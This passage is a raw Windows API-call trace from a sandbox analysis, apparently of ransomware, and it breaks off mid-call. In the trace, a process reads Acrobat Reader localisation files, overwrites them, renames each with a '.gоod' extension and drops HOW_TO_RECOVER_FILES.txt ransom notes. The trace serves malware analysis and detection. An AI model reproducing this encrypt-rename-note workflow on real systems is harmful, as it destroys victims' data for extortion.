returned 0x134abc0 [0254.496] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.499] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0254.499] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0254.501] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0254.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0254.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0254.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0254.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x77 [0254.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0254.825] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.825] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0254.825] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0254.825] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0254.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0254.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0254.825] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0254.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0254.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3cb5da8 | out: lpFileInformation=0x3cb5da8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0254.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0254.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0254.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0254.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0254.827] GetFileType (hFile=0x768) returned 0x1 [0254.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0254.827] GetFileType (hFile=0x768) returned 0x1 [0254.827] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x490 [0254.827] ReadFile (in: hFile=0x768, lpBuffer=0x3cb6608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3cb6608*, lpNumberOfBytesRead=0x202ec278*=0x490, lpOverlapped=0x0) returned 1 [0254.829] CloseHandle (hObject=0x768) returned 1 [0254.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0254.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0254.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.008] GetFileType (hFile=0x834) returned 0x1 [0255.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0255.008] GetFileType (hFile=0x834) returned 0x1 [0255.008] WriteFile (in: hFile=0x834, lpBuffer=0x3aafc90*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3aafc90*, lpNumberOfBytesWritten=0x202ec188*=0x4a0, lpOverlapped=0x0) returned 1 [0255.008] CloseHandle (hObject=0x834) returned 1 [0255.009] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.009] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0255.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0255.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9436e0db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1 [0255.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0255.009] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0255.010] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0255.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0255.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0255.011] GetFileType (hFile=0x834) returned 0x1 [0255.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0255.011] GetFileType (hFile=0x834) returned 0x1 [0255.011] WriteFile (in: hFile=0x834, lpBuffer=0x3ab35a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3ab35a0*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0255.012] CloseHandle (hObject=0x834) returned 1 [0255.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0255.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il", lpFilePart=0x0) returned 0x77 [0255.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0255.013] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.013] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.013] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.013] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0255.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0255.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0255.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0255.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il", lpFilePart=0x0) returned 0x77 [0255.014] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.014] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.014] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.014] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.014] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0255.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0255.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0255.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0255.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ac8208 | out: lpFileInformation=0x3ac8208*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d)) returned 1 [0255.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0255.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0255.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.015] GetFileType (hFile=0x834) returned 0x1 [0255.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0255.015] GetFileType (hFile=0x834) returned 0x1 [0255.015] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x53d [0255.015] ReadFile (in: hFile=0x834, lpBuffer=0x3ac8af0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3ac8af0*, lpNumberOfBytesRead=0x202ec278*=0x53d, lpOverlapped=0x0) returned 1 [0255.016] CloseHandle (hObject=0x834) returned 1 [0255.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0255.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.307] GetFileType (hFile=0x834) returned 0x1 [0255.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0255.308] GetFileType (hFile=0x834) returned 0x1 [0255.308] WriteFile (in: hFile=0x834, lpBuffer=0x3b6c090*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3b6c090*, lpNumberOfBytesWritten=0x202ec188*=0x540, lpOverlapped=0x0) returned 1 [0255.308] CloseHandle (hObject=0x834) returned 1 [0255.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0255.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0255.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94642a94, 